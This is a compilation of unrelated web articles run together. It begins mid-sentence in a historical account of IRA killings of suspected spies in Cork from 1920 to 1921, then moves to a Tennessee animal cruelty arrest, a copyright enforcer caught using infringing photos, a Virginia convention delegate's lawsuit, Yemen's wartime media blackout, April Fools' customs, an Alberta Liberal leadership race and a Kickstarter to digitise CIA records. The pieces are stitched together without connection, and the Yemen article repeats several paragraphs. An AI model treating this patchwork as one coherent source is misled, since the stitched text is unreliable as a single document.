Barracks, Walsh fell into bad health, and they transferred him to the Cork workhouse.” This episode appears to have provided much of the inspiration for Frank O’Connor’s short story Jumbo’s Wife. Ex-soldier shot nine times for being a spy Timothy Quinlisk Civilian, aged 25 Ballyphehane, Cork City Place of Death: Tory Top Lane, Cork City Date of incident: February 18, 1920 Timothy Quinlisk (circled right), the first civilian executed as a suspected spy by the Cork No. 1 Brigade of the IRA, on 18 February 1920, had been recruited by Roger Casement to ‘The Irish Brigade’, composed of former British POWs in Germany who were to have aided in the Easter Rising of 1916. Quinlisk appears here in this postcard photo of the non-commissioned officers of Casement’s brigade—labeled ‘They Are Awaiting “The Day”’. Picture: Courtesy of Joseph McGarrity Collection, Digital Library@Villanova University An ex-soldier, Timothy Quinlisk was shot in nine different places at close range; his ‘head and body were literally torn with revolver bullets’. The body was found at Tory Top Lane, which became a place favoured by the IRA for carrying out such executions. Quinlisk claimed to have been a member of the brigade formed in Germany by Sir Roger Casement. He was well educated and spoke French and German fluently. After the war he was discharged from the British army. He lived for a time in Dublin and then in Cork city. Quinlisk was an inept spy. City Volunteer leaders had quickly placed him under close surveillance and found more than enough reason to execute him. The Cork No 1 Brigade Council agreed that he should be shot. The execution party from the Second Battalion consisted of Michael Murphy (O/C) and two others. Murphy coldly recalled of the not-quite-dead Quinlisk: “I then turned him over on the flat of his back and put a bullet through his forehead.” Murphy later cited some of the damning evidence against Quinlisk in his witness statement to the Bureau of Military History. “I might here state that on the same evening that Quinlisk was executed, following a raid on the mails by some of our lads, one of the letters written by ‘Quinn’ (as he called himself)… addressed to the County Inspector, RIC, was found. “The letter said that Quinlisk ‘had information about Michael Collins and would report again in a few days when the capture of Collins seemed imminent... “The Cork No 1 Brigade Commandant Seán Hegarty got in touch with GHQ, Dublin, immediately following the identification of ‘Quinn’ as Quinlisk, and word was received back from Mick Collins that Quinlisk was definitely a spy in the pay of the British.” Hundreds of people went to view the body while it lay for identification purposes at the Cork city morgue for ‘at least three days’ under the guard of an RIC man. “But, of course,” said Murphy, “nobody identified him. He was then taken from the morgue by police and military and buried in the burial ground for paupers at the top of Carr’s Hill, Cork.” When Quinlisk’s father came from Waterford to claim the body about two weeks later, he had a confrontation with Murphy, who had been informed by the clerk of Cork poor-law union of the father’s application to the workhouse authorities. “I asked the man his name but he refused to give it to me. I said to him: ‘Now, Mr Quinlisk, I know you well; your son John [sic] was shot here as a spy, and you had better take him and yourself out of this town within twenty-four hours or you will meet with the same fate.”’ At the time of the 1911 census the victim’s father Denis had been an ‘acting sergeant’ in the RIC residing at 10 Cathedral Square in Waterford City. He and his wife Alice were then the parents of five children, three sons and two daughters, ranging in age from 7 to 16, all of whom lived with them. Timothy Quinlisk — then aged 16 — was their eldest child. The Quinlisks were Catholic. Hanged himself after being abducted by IRA John Coughlan Civilian, aged about 46 Barry’s Lane, Cobh/Queenstown Place of death: Aghada near Midleton Date of incident: August 14, 1920. Abducted and executed as suspected spy by IRA Aghada coastline during the 1920s where the body of John Coughlan of Cobh was tied to a cart axle and thrown into the sea. It must have been Coughlan’s body that washed ashore at Ballybranigan Strand, seven miles from Midleton, Co Cork, on September 3, 1920. Although the body was too decomposed for identification, the fact that it was tied to a cart axle pointed to Coughlan. His remains were buried in Knockgriffin Cemetery. Coughlan allegedly hanged himself while being held in IRA custody for having allowed his daughters to be used as ‘prostitutes’ by British forces. Those who executed him tied his body to a cart axle and threw it into the sea, but it was washed up shortly afterwards and identified. The IRA claimed later to have obtained evidence that Coughlan was a spy. He died in IRA custody at Aghada near Midleton. The only John Coughlan listed in the 1911 census as resident in Queenstown resided in Barry’s Lane with his wife Anne, a son, and three daughters whose ages in 1920 would have been about 24, 19, and 14. Coughlan was a Catholic and a ‘general labourer’. This ghoulish story finds an explanation in an interview given by former Volunteer Michael (Mick) Leahy to Ernie O’Malley sometime in the early 1950s: “The strangest thing about the first spy who met his death through us was that we didn’t shoot him. In Cobh we arrested this fellow [John Coughlan] for using his two daughters as prostitutes for the British and we took him to Aghada and we wanted to [illegible] for a while. He was kept in May Higgins [house] in a loft and there was a girl there. She was bringing him up his breakfast when she found him hanging to a rafter, dead. “I got four lads to bury him. Paddy Sullivan from Cobh, who was later executed in Cork Gaol after he had been caught in [the Battle of] Clonmult, [was one of them.] Later on he asked me did we see the Examiner. And when I read it, I found that a body, which had been tied to an axle, had washed ashore. The lads had not buried him. They had tied him to a car axle and had flung him out into the sea. He was in the morgue in Midleton, I was told, in the workhouse. “We visited the morgue, but at the time the bad flu was raging and the morgue was full of corpses. We went from corpse to corpse with a flash lamp, pulling up the clothes to look for our man. “At last we came to a corpse and when we pulled back the cloth, we found that the crabs had got hold of his face and that there was nothing of it left. A month later, we got evidence that this man had been a spy and that’s why he hanged himself.” Protestant home ruler murdered for no reason Alfred Charles Reilly Civilian, aged 58 The Hill, Monfieldstown, Douglas, Co Cork Place of death: Douglas Date of incident: February 9, 1921. Killed as suspected spy by IRA in a ‘shocking murder’. Alfred Charles Reilly: Shot dead by the IRA near his home. Alfred Reilly, managing director of a large bakery and restaurant business in Cork city (HH Thompson and Sons, Ltd), was shot dead very near his home in the Cork suburb of Douglas. Pinned to his chest was an envelope on which the words ‘Beware of the IRA’ had been written in pencil. He had left his office in Cork city at about 5pm on Wednesday, February 9, 1921, and had driven in a pony and trap towards his residence in Douglas. “Some time later, the female lodge-keeper saw the empty trap standing outside the avenue gate, and she went along the road for some distance until she found Mr Reilly lying on the ground face downwards.” Aged 58 and a Methodist, Reilly was a member of the Cork business establishment. He had earlier organised a Methodist Church petition calling for the release of Lord Mayor Terence MacSwiney when he was on hunger strike. He had Home Rule and Liberal political sympathies. Though he had been a JP, he had not undertaken any police-court work for six years and had been fined for refusing to carry out jury duty early in 1920 when republicans were beginning to face British courts. Nevertheless, he was suspected of being part of a civilian unionist intelligence group operating out of the Cork YMCA. He was also thought to be a Freemason. In fact, however, he was neither a Freemason nor a YMCA member. The killing was carried out in especially chilling fashion by three members of D Company (Second Battalion, Cork No 1 Brigade), including its captain William Barry, who recalled the deed. “On the evening of February 9, as Reilly was returning from work in King Street [now MacCurtain Street] in his pony and trap, four of us, armed with revolvers, got into the trap and drove him to his home at Rochestown. “We shot him outside the gate of his house and affixed a card to the body with the words ‘Spies and Informers Beware’ written on it.” A widower aged 48 in the 1911 Census, Reilly resided at Monfieldstown in the Douglas suburb of Cork with his elderly mother (then aged 70) and his son Percival (aged 21). Father and son listed themselves as ‘manufacturing confectioners’ in the census. The family also had three Catholic servants. Alfred Reilly later remarried and had a daughter with his second wife Agnes. She claimed compensation for the killing of her husband on February 9, 1921, near his residence - Hill House. The Recorder of Cork city awarded £4,500 to her and another £4,500 to their daughter. Man cashed British Army cheques William Alexander Macpherson Civilian, aged about 44 Bridge St, Mallow, Co Cork Place of death: Knockpogue near Mallow Date of incident: July 7, 1921 Ex-soldier kidnapped and killed as suspected spy by IRA A scrap of paper found on Macpherson’s body issues a warning. Formerly a sergeant major in the British army, Macpherson was bundled into a car or a pony and trap on July 7, 1921, and taken a short distance outside Mallow, Co Cork. After two days of detention at Gleanndine, he was taken to Patrick O’Connor’s house at Pendy’s Cross, Dromahane, where he was tried by brigade officers, found guilty, and sentenced to death. “He was removed later the same night to a spot about one mile from Mallow on the mountain road, where he was executed by members of the column.” His body was found at Knockpogue with a bullet in the chest and with a label declaring ‘Convicted spy, spies and informers in Mallow beware, we are on your track, I.R.A.’ Soldiers and police in lorries visited the Knockpogue location and removed the body to Mallow Military Barracks. Macpherson had held the rank of ‘colour sergeant’ with the Royal Dublin Fusiliers and lived in Mallow with his wife (a native of the district) and four children. Macpherson had been a target of the IRA since mid-June 1921, after a transactions in a shop brought him under suspicion. As Joseph P Morgan of the Mallow Battalion Flying Column later recorded: “While other members of the column moved off towards the Millstreet area to take part in the Rathcoole ambush, I was ordered to make arrangements to proceed to Mallow to execute a spy — McPherson [sic], an ex-British army sergeant major — who was supposed to be seen on Mallow Bridge each morning at 7 am. “I think that his activities as a spy were discovered when he cashed some cheques, made payable to him by the British, in some shop in town (Mallow). “I visited Mallow on two mornings, but there was no trace of McPherson, so other arrangements were made at a later date, when he was captured and executed early in July 1921.” The Recorder of Cork, sitting at Mallow in October 1921, awarded £900 in compensation to the victim’s widow, Mrs Margaret Macpherson, and an additional £400 to each of her four children, “for the death of her husband, an army pensioner, who was taken away in a trap by three men, and next morning his body was found 2 miles from Mallow, with the label ‘Convicted spy”’. In 1911 William Macpherson (then aged 34) and his wife Margaret resided with her widowed mother Ellen Lyne (a farmer aged 61) at Lower Lavally (Rahan) near Mallow. At that point the Macphersons had only one child (a son aged 6), but three others were born later. Ellen Lyne’s adult son Thomas (aged 40) and his wife Norah probably took the principal role in managing the farm. William Alex Macpherson was an Anglican. Woman who held loyalist views killed for informing on planned ambush Maria Georgina Lindsay Civilian, aged 60 Leemount House, Coachford, Co Cork Place of death: Rylane in Aghabullogue parish Date of incident: February 17, 1921. Kidnapped and later killed as suspected spy and in reprisal by IRA Maria Georgina Lindsay: Kidnapped and later killed. Maria Lindsay was kidnapped on February 17, 1921, and later executed by the IRA on March 11, along with her chauffeur James Clarke. Her status as an informer was a matter of certainty for Florrie O’Donoghue, the intelligence officer of Cork No. 1 Brigade: “In her case the death sentence [passed by the IRA] followed a flagrant and deliberate action against the Army, that of conveying information to the occupation forces in regard to the Dripsey ambush.” Even after sentence had been passed, an official letter from the Cork No 1 Brigade to Major General Sir EP Strickland indicated that the sentence would not be carried out if the prisoners taken at Dripsey were treated as prisoners of war. The communication was ignored and Mrs Lindsay was shot. Mrs Lindsay was executed by the IRA partly for having given information to the crown forces at Ballincollig Military Barracks that led to the capture of eight republicans (five wounded) in the abortive Dripsey ambush of January 28, 1921, and to the execution of five of them (plus a sixth Volunteer from Tipperary town) at Victoria Barracks in Cork city on February 28, 1921. The ambush took place outside Dripsey, on the road to Coachford. In retaliation for the six executions on February 28, the IRA shot twelve unarmed British soldiers in the streets of Cork city that night. According to a reliable account of the Dripsey ambush and its immediate background, “That morning, Mrs Mary Lindsay of Leemount House, who held strong loyalist views, heard of the ambush during a visit to Coachford. “She was on her way to Ballincollig for a newly introduced military inspection of her car (a measure introduced by the British to cut down on the commandeering of cars by the IRA). When she told Mr Sheehan, a local grocer, of her plans, he advised her not to go through Dripsey and Inniscarra, and when she asked why, he told her of the intended ambush. “She told the local priest, Father Ned Shinnick, what she had heard before returning home. From there her chauffeur James Clarke drove her to Ballincollig to warn the army authorities. “Meanwhile, Father Shinnick informed the local IRA command to tell the ambushers that the British had been informed of their plans. Father Shinnick was known to be anti-IRA, and the leaders of the IRA ambush party decided that the warning was just a ruse on the part of the priest to get them to abandon their ambush.” Had the priest’s warning been heeded, the disaster of the Dripsey ambush and all of its tragic consequences might have been avoided. In 1911, Maria Georgina (Mary) Lindsay (then aged 50) and her husband John (aged 66) had been married for 23 years. They were childless. They resided at Leemount, a modest mansion with 13 rooms, along with their butler (and later chauffeur) James Clarke, a housemaid, a cook, and a coachman. They were adherents of the Church of Ireland; they did employ two Catholic servants. Very shortly after the IRA executed Mrs Lindsay and James Clarke, a party of Volunteers burned down their house. The ill-fated IRA commander of the nearly seventy Volunteers gathered near Godfrey’s Cross between Dripsey and Coachford on 28 January 1921 was Frank Busteed, captain of the Blarney Company of the Sixth Battalion of the Cork No 1 Brigade. He was involved in the kidnapping and execution of Mrs Lindsay and James Clarke as well as in the burning of Leemount House. According to Busteed, even Michael Collins did not know that Busteed and his comrades had executed Mrs Lindsay, and there is evidence that Collins and other IRA leaders wanted to save her. |
A Murfreesboro man is behind bars for animal cruelty charges after nine mistreated dogs were found in his home, some which had not been outside for years. PHOTO: James Hartley-Rutherford County Sheriff MURFREESBORO, Tenn.--A Murfreesboro man is behind bars for animal cruelty charges after nine mistreated dogs were found in his home, some which had not been outside for years. According to arrest records for 70-year-old James Hartley, Murfreesboro Police detectives responded to his N. Academy residence last Friday and found nine dogs in "various degrees of malnutrition and neglect." One of the dogs had a serious untreated wound according to police. Officers state they found the residence "covered in feces and completely unlivable." During questioning, Hartley admitted to the mistreatment of the animals and not providing proper care. He then told police some of the dogs had not been out of the house for years and he had not cleaned up for 5 or 6 months. PAWS responded to the scene and took custody of the dogs. Hartley was charged with aggravated cruelty to animals and booked into the Rutherford County Jail. |
Canadian Anti-Infringement Enforcement Company Caught Using Infringing Photos On Its Website from the casual-infringement-for-all! dept Canipre, as a company, offers to track down people who are illegally downloading copyrighted material from record companies and film studios. According to their website, they have issued more than 3,500,000 takedown notices, and their work has led to multimillion dollar damages awards, injunctions, seizure of assets, and even incarceration. In a recent interview, Canipre's managing director Barry Logan explained that it's about much more than just money—he's hoping to teach the Canadian public a moral lesson: "[We want to] change social attitudes toward downloading. Many people know it is illegal but they continue to do it... Our collective goal is not to sue everybody… but to change the sense of entitlement that people have, regarding Internet-based theft of property.” So, just to be clear: Canipre has written "they all know it's wrong and they're still doing it." Referring to copyright theft. On top of an image that they are using without the permission of the copyright holder. On their official website. Logan claimed that the company used a 3rd party vendor to develop their website and that the vendor had purchased the image from an image bank. I pointed out to Logan that if that was true, he had basically paid his vendor to rip off other people's creative work. Logan told me that he would contact his web provider and have the image removed. He also told me that he would provide me with the name of the website developer and the name of the image bank where they obtained my photo. IP "enforcement" is a Herculean task (according to the enforcers), one that requires so much time and energy that those pursuing infringers barely have time to make sure their own backyard is clean. Many in the copyright industry (or closely affiliated) have been caught infringing on others' copyrights: hosted infringing material. SOPA pusher Lamar Smith Righthaven . The US Copyright Group . The list literally goes on and on Here we are again, discussing an entity so concerned with outside infringement, it can hardly be bothered to notice the infringement within its own walls. Canipre, the Canadian " forensics software " company that has hunted down IP addresses for a "million pirates" on behalf of lawsuit-happy studios like Voltage Pictures ('Hurt Locker,' anyone), has decked out its (rather overdramatic) website with the unlicensed photos belonging to others Well, it seems the "sense of entitlement" goes all the way up. Here's a screencap of Canipre's website that features a self-portrait by Steve Houk.We'll quote Vice here:Houk says no permission was given to use his photo. He contacted Canipre directly to discuss its infringement and to point out that is was "disheartening" to see a company claiming to "champion intellectual property rights" obviously disregarding the rights of others. This led to Canipre's marketing director firing off a volley of emails and phone calls before finally deciding to pass the buck.So, it's important that Canipre maintains a presence on the web that properly (and noirishly) delivers its message on the importance of intellectual property rights, but not important enough to dot i's, cross t's and make sure its "third party vendor" isn't simply grabbing images from "the internet" (or image banks with their own infringement problem).Logan has yet to provide the name of the developer or the image bank, so it still remains somewhat of a mystery which 3rd party vendor slapped Houk's photo onto an IP enforcer's website. And this photo , taken by Sascha Pohlflepp . And this one , taken by Brian Moore . At this point, all of the infringing photos have been taken down, but only after Vice called attention to Canipre's actons.The ironic thing about the last two photos is that they're both Creative Commons-licensed, meaning all Canipre (or its vendor) had to do was properly attribute the photos. But neither could be bothered.Now, some might say that in the scheme of things, Canipre's infringement is nothing compared to the infringement it's fighting. But here's the difference. Canipre is a company that helps studios like Voltage sue alleged infringers based on not much more than an IP address. File sharers aren't turning a profit or presenting themselves as righters of the world's wrongs. If you're going to put yourself in the position of "educating" people (via mass lawsuits) about the importance of the intellectual property rights you're being paid to protect, you had better make sure you're not stepping on the IP toes of others. Filed Under: canada, copyright, infringement, licenses, photographs Companies: canipre, voltage pictures |
Cleveland (CNN) A Virginia Republican delegate fighting to vote against Donald Trump at the Republican National Convention next week won a critical court battle Monday, but still faces a series of obstacles. The decision is a win for anti-Trump delegates, but it only removes one hurdle in their attempt to break free from voting for Trump. The decision strikes down Virginia's ability to fine any delegates that don't vote with the primary's results, but it says nothing about whether the Republican Convention delegates will adopt rules mandating delegates adhere to primary results -- the biggest challenge in their path. A federal judge ruled that a Virginia state law fining Republican delegates up $2,500 if they didn't vote for the winner of the state primary overstepped the boundaries between the state and political parties. "It's amazing. This is not just a victory in Virginia for delegates, but this is a victory for delegates all over the country who want to vote their consciences," said Beau Correll, the Republican delegate who filed the suit as part of a broader push by anti-Trump delegates to derail his nomination next week. Read More |
Al Qaeda, meanwhile, is waging its propaganda war somewhat differently. A video posted on AQAP's media channel shows local residents in the Shabwa town of Azzan — where al Qaeda has long had a more significant presence than the government — being asked how they feel about the military campaign. Not surprisingly, there was a notable absence of criticism of AQAP. A viewer could be forgiven for thinking there were no civilians living in the provincial border regions of Abyan and Shabwa, where the conflict has been raging; based on the information the military is releasing, it appears the only inhabitants of the area are al Qaeda militants. Meanwhile, Yemen’s Ministry of Defense claims its sanitized version of war equates to increased transparency . Since April 28, when troops first massed to launch a ground assault against an apparent al Qaeda training camp, the defense ministry has posted 23 videos via its 26 September media outlet — by comparison, only two military-related videos appeared on its YouTube channel in all of 2013. On an almost daily basis over the past month, footage of the Army’s "great successes" against the insurgents have been relayed by the defense ministry’s "moral guidance department." Commanders congratulate troops, and tanks and armored personnel carriers roll through seemingly deserted scrubland. Music is played over images of smiling soldiers. As Yemen’s Army moved in on al Qaeda in the Arabian Peninsula’s (AQAP) long-standing haven in the south of the country last month, a parallel assault was launched by the country's Ministry of Defense — in the form of an unprecedented media campaign. Read more As Yemen’s Army moved in on al Qaeda in the Arabian Peninsula’s (AQAP) long-standing haven in the south of the country last month, a parallel assault was launched by the country's Ministry of Defense — in the form of an unprecedented media campaign. Since April 28, when troops first massed to launch a ground assault against an apparent al Qaeda training camp, the defense ministry has posted 23 videos via its 26 September media outlet — by comparison, only two military-related videos appeared on its YouTube channel in all of 2013. On an almost daily basis over the past month, footage of the Army’s "great successes" against the insurgents have been relayed by the defense ministry’s "moral guidance department." Commanders congratulate troops, and tanks and armored personnel carriers roll through seemingly deserted scrubland. Music is played over images of smiling soldiers. A viewer could be forgiven for thinking there were no civilians living in the provincial border regions of Abyan and Shabwa, where the conflict has been raging; based on the information the military is releasing, it appears the only inhabitants of the area are al Qaeda militants. Meanwhile, Yemen’s Ministry of Defense claims its sanitized version of war equates to increased transparency. Al Qaeda, meanwhile, is waging its propaganda war somewhat differently. A video posted on AQAP's media channel shows local residents in the Shabwa town of Azzan — where al Qaeda has long had a more significant presence than the government — being asked how they feel about the military campaign. Not surprisingly, there was a notable absence of criticism of AQAP. A video highlighting the "heroic battles" of the Yemen Army. Yemen's propaganda war has kept details of its US-backed military campaign hidden from almost any form of independent coverage. An assault launched on April 19 began with three days of US drone attacks, Yemeni air force strikes, and Yemeni Special Forces operations — including American commandos flying helicopters into Shabwa. But there has still been no independent verification of events on the ground. When a TV crew from Al Jazeera tried to report from the conflict zone, they were put under "house arrest" in a hotel before being forced to return to Yemen's capital, Sanaa. Their removal came just days after the deportation of American journalist Adam Baron, who had spent more than three years reporting from Yemen. The final story Baron filed before his deportation focused on the battle Yemen’s government faces in the propaganda war being waged on social media. As Baron noted: “The amplification of nongovernmental voices is a new challenge for the government.” Perhaps Baron and the Al Jazeera team are fortunate that their attempts to cover the most-recent conflict's impact on civilians resulted only in them being sent away. Yemeni journalists have long been intimidated, attacked, imprisoned, and even disappeared, but reporters and human rights activists whose work has challenged the official version of recent events — and who have specifically investigated the US and its covert war in Yemen — have increasingly come under attack by both Yemen's government and by Washington. The most notable intervention by the White House came in February 2011, when Barack Obama “expressed concern” to the Yemeni government about the pending early release of Abdulelah Haider Shaye, a journalist who had collected evidence in 2009 from the site of an attack in al-Majalah. He'd reported that there were pieces of US Tomahawk missiles and cluster bombs at the site, and accused the US of being responsible for the attack that left 55 people dead, including 21 children. At the time, the Yemeni government maintained that it had carried out the attack alone. When Shaye continued to speak out about America’s involvement, he was beaten up and told to stop. When he ignored those demands, US-trained and -funded counter-terrorism troops stormed his house in August 2010; eventually, he was charged with aiding and abetting al Qaeda. (He had interviewed al Qaeda militants in the past.) After the conclusion of his trial — deemed illegal by several international human rights organizations — his claims about the al-Majalah bombings were confirmed by leaked diplomatic cables. As a result of the media blackout, the impact of the wars on the civilian population in Yemen is only now being exposed. When Shaye was finally released in 2013 after three years in solitary confinement — Obama's 2011 intervention had blocked his early release — the White House said it was “concerned and disappointed." Last September, Baraa Shiban, a Yemen-based representative for the human rights organization Reprieve, was held under Section 7 of the UK’s Terrorism Act at Gatwick Airport while on his way to speak about the use of US drones in Yemen. Four months later, Shiban received a death threat following his reporting from the site of an American drone strike that had killed a dozen civilians in a wedding convoy in central Yemen on December 12. Under Yemen’s former president, Ali Abdullah Saleh, the media was prevented from accessing conflict zones in the north of the country during the six wars waged by the government against Shia Houthi fighters who were demanding autonomy. As a result, the impact of the wars on the civilian population is only now being exposed. Last week, VICE News revealed the use of US cluster bombs by the Saudi Royal Air force in bombing campaigns carried out in northern Yemen in 2009 and 2010. It's clear that when journalists and activists have been prevented by the governments of Yemen and the US from covering conflicts in Yemen — or persecuted for challenging official versions of events — the goal of authorities has repeatedly been to conceal atrocities against civilians. As the Yemeni military, backed by the US, continues both its fight against al Qaeda and its persecution of journalists, we must continue to ask: What are they trying to hide this time? Follow Iona Craig on Twitter: @ionacraig Photo via Flickr |
Go around the world in 80 jokes to look at lighthearted spring traditions — whether or not they're on April 1. Spike Mafford / Getty Images A joke can easily be lost in translation, but the idea of a lighthearted springtime holiday is surprisingly universal. What Americans know as April Fools’ Day (sometimes referred to as All Fools’ Day) is observed the world over. Though historical evidence is ambiguous, most believe that when the Gregorian calendar was adopted in the late 1500s, the New Year was moved from April 1 to January 1. Those who kept to the old tradition and the old date were labeled fools, hence the association. But no two celebrations are quite the same: (LIST: Best – and Worst – April Fools’ Day Pranks Ever) France – The holiday here is known as Poisson d’Avril, which translates to April Fish, and is also celebrated in Italy as Pesce d’Aprile. Traditionally, schoolchildren will tape a picture of a fish on the back of an unsuspecting classmate and wait for the transgression to be discovered. Scotland – Scottish folks enjoy “taking the piss” out of their comrades so much that they’ve extended the holiday into a second day. April 1 was traditionally Hunt the Gowk day, although the name is fading out. Gowk means cuckoo, and sending a mate on a fool’s errand is the name of the game: you should ask someone to deliver a sealed message asking for help, the contents of which instruct the recipient to pass it along and continue the chain. The second day is known as Taily Day, which seems to have spawned the infamous “Kick Me” sign, and numerous posterior jokes. Iran – The 13th day of the Persian New Year is called Sizdah Bedar, and usually falls on April 1 or April 2. Pranks have reportedly been played on this holiday since 536 BC, making it perhaps the oldest known joke day. It’s customary to spend the afternoon outside, celebrating the new season and indulging in food, laughter, games, and good-natured jokes. After a picnic, you throw away green vegetables, known as sabzeh, which represent any potential illnesses or bad luck for the coming year. Spain – December 28, Holy Innocents’ Day or Childermas, is also celebrated in Latin America. Though it technically is a Christian feast day, the pranking tradition that it’s now known for is strictly a cultural invention. Victims are instructed not to be upset because the jokesters are, well, innocent. Portugal – The Sunday and Monday prior to Lent is when the Portuguese celebrate April Fools’, and they have embraced one prank as their own: throwing flour on someone. India – India’s Holi festival is celebrated on March 31, and is a day to play jokes, toss colored dust and wear face and body paint to inaugurate spring. Denmark – May 1 is Maj-kat (May cat), a joke day, although here and in Sweden they also celebrate April 1 as April Fools’ Day. Perhaps at the end of a long winter, Scandinavians are doubly ready to let loose and herald spring. MORE: Foolish Pranks to Try at the Office |
Members of the Alberta Liberal Party will choose a new leader this spring. The party has been without a leader since 2015 when Dr. Raj Sherman resigned. Dr. David Swann has served as the party’s interim leader since then. He is also the party’s only MLA. “2017 promises to be a year of change for the better here in Alberta,” party president Karen Sevcik told a room full of Liberal party supporters at Edmonton’s Royal Glenora Club on Sunday. “We had to come to terms with a new reality post-2015, with a new ND government. We took some time to do that,” Sevcik added. “We elected a new executive in May – and we’ve started to rebuild the party and stabilize and go forward from there. We feel now is the perfect time to pick a new leader.” The party is expecting to receive three or four nominations for the leadership. “We’re looking for someone who’s willing to work hard, someone who can relate to Albertans- where they live and work. We’re a pretty open party, we sit in the middle of the political spectrum,” she said. “We have a couple of candidates that will be ready to announce next week or perhaps the week after and then one more the week after that – so you’ll have to stay tuned,” she added. The nomination period will be open until Mar. 31. Candidates will take part in two debates; one in Calgary on Apr. 8 and a second in Edmonton May 6. “Those who call themselves Alberta Liberals know they have to work twice as hard to see the same results as other parties,” Sevcik said. “This time we will be ready to fight for the hearts and minds of Albertans who want solutions not ideological platitudes.” The president also said the party is looking to distance itself from the federal Liberals. “It’s always been a balancing act,” Sevcik said. “We were very blessed to see Justin Trudeau elected PM. He is a very popular prime minister and we did receive a bump from that but comments that he made this week are difficult for us. But our job here is to advocate for workers in Alberta and Albertans and we will do that.” She added she believed the prime minister’s comments were “misrepresented” and said the party has requested that the prime minister clarify the comments he made during a town hall in Ontario last week regarding the “phasing out” of Alberta’s oilsands. “We’re going to find a common ground with Albertans going forward. There is a way to boost our ecomony and a way to protect our environment. We can do it, we can figure it out.” The president encouraged members to get involved, donate, volunteer, campaign on behalf of the party and sell memberships. “We don’t announce a new leader until Sunday June 4th in Calgary so they’ll have some time to work the province and meet Albertans face to face,” Sevcik said. |
Main goal: Equipment ($10,000) - FUNDED! Stretch goal 1: FOIA requests ($11,000 total) - FUNDED! Stretch goal 2: One month full-time focus ($15,000 total) - Not yet Outside of Washington D.C. sits a database with hundreds of thousands of files and nearly 13,000,000 pages from CIA. This database can only be accessed from four computers in a secure federal building. This isn't the plot to a spy thriller - it's a disclosure program from the Agency, and it's time to get that information into the public's hands. CIA's declassified records database (right) and the only four computers that can access it (left). Accessing the information isn't easy. Researchers have to go to the back of the 3rd floor library at the National Archives building in Maryland, which is unfortunately unstaffed for half the day. Tucked away in the library are the only computers that can access the millions of pages of declassified records. If researchers ask the the main "Information" desk, they're answered with confused stares and incorrect directions. Researchers trying to look up on the National Archive's website where to access the computers, won't find it on the page about doing research at that location or on the page for electronic records at that location. That information is tucked away on the page for online databases - despite not being online. CIA admits that the arrangement "may be inconvenient and present an obstacle to many researchers," but the only way to describe the experience of finding and accessing the records is by comparing it to a scene from Hitchhiker's Guide to the Galaxy. Once at the computers, visitors aren't allowed to save any of the already digitized documents - instead they have to print the documents out while under several kinds of electronic surveillance. If they want to share those documents with the world at large, they have to be scanned back in and uploaded. Of the roughly 13 million pages on the CREST database, just over 1 million have been printed - most of which remain unpublished and unavailable to the general public. The Plan The plan is simple: scan and upload as much as possible for everyone to access - for free. Digitize: The first step is digitizing the records. This means printing documents from the CREST database, then scanning and processing them. To process the records in any sort of timely manner requires a scanner with a high "daily duty cycle" to keep the scanner from burning from being heavily used. Upload: Once digitized, the documents will be uploaded to the Internet Archive where everyone will be able to access and download them for free. The server will also automatically convert (as best as possible) the files to formats including: Searchable text with ABBYY PDF Kindle EPUB DAISY Digital Talking Book Distribute: New files that are uploaded will be noted on That 1 Archive's website. I'll make a special effort to provide news and research organizations like WikiLeaks and the New York Times with bulk copies of the files for research and analysis. Donate: Once digitized, the paper copies of the documents will be donated to a university, library or archive. Choose what gets uploaded first Everyone who backs the project will get a voice in choosing what gets printed and uploaded first. It's your chance to make sure I get right to records on the pieces of history you're most interested in. Similar requests will be combined, and the requests from the biggest contributors being processed first. The Budget Keeping the budget small: A major goal is to keep the budget as small as possible. There's a home office I can easily convert to scanning and organizing files, eliminating the need for rent. By keeping the website simple and hosted with Neocities, the costs are minimized. Using the Internet Archive to host the documents on eliminates the need for separate file storage and contributes to their goal of providing universal access to all human knowledge. The biggest single factor in keeping the budget small is that CIA is reimbursing the National Archives for the cost of the paper and ink - so printing the documents is free. The essential starting costs are: Fujitsu fi-6770 Scanner: $5,439 - Includes intelligent document processing features and scanning speeds of up to 90 pages per minute. This model is built for endurance and rated for up to 15,000 pages per day. $5,439 - Includes intelligent document processing features and scanning speeds of up to 90 pages per minute. This model is built for endurance and rated for up to 15,000 pages per day. 13" MacBook Air: $1,000 - This will allow me to track and index documents in the archive as I print them, speeding up the scanning process. It will also let me do supplemental research while selecting and printing documents, improving document selection and priority. It will also connect to the scanner, after booting into Windows, run the scanner software and upload documents to the Internet Archive. $1,000 - This will allow me to track and index documents in the archive as I print them, speeding up the scanning process. It will also let me do supplemental research while selecting and printing documents, improving document selection and priority. It will also connect to the scanner, after booting into Windows, run the scanner software and upload documents to the Internet Archive. Office supplies: $1,000 Includes business registration fees, containers for transporting documents in, sorting boxes, redundant external hard drives. $1,000 Includes business registration fees, containers for transporting documents in, sorting boxes, redundant external hard drives. Kickstarter fees: +10% +10% Shirts and USBs for backers: +20% Any excess not spent on shirts will be added to general funds for unforeseen expenses or supplemental FOIA requests. +20% Any excess not spent on shirts will be added to general funds for unforeseen expenses or supplemental FOIA requests. Misc.: $250 - Shipping, tax, unexpected minor expenses. $250 - Shipping, tax, unexpected minor expenses. Total: $10,000 Budgeting Beyond the Basics If the initial funding is a success, there are additional goals that will help get documents released much more quickly and efficiently. MuckRock requests (250): $1,000 for follow-up FOIAs and Mandatory Declassification Review requests. $1,000 for follow-up FOIAs and Mandatory Declassification Review requests. Full-time focus: To get things printed, scanned and uploaded as quickly as possible I'd like to make this my full time focus and pay myself a rate based on median salary for the field, minus the cost of Kickstarter fees and fulfilling requests. Even after rounding up, I'll actually only make a fraction of the average pay. CREST's contents CREST includes records on nearly every topic related to the Cold War and the early history of the CIA. This includes significant collections of finished intelligence from the Directorate of Intelligence; Directorate of Operations (now National Clandestine Service) information reports from the late 1940s and 1950s; Directorate of Science and Technology research and development files; Director, Central Intelligence Agency policy files and memos; and Directorate of Support logistics and other records. CREST also contains declassified imagery reports from the former National Photographic Interpretation Center, and several specialized collections of translations from foreign media. Collections include: |
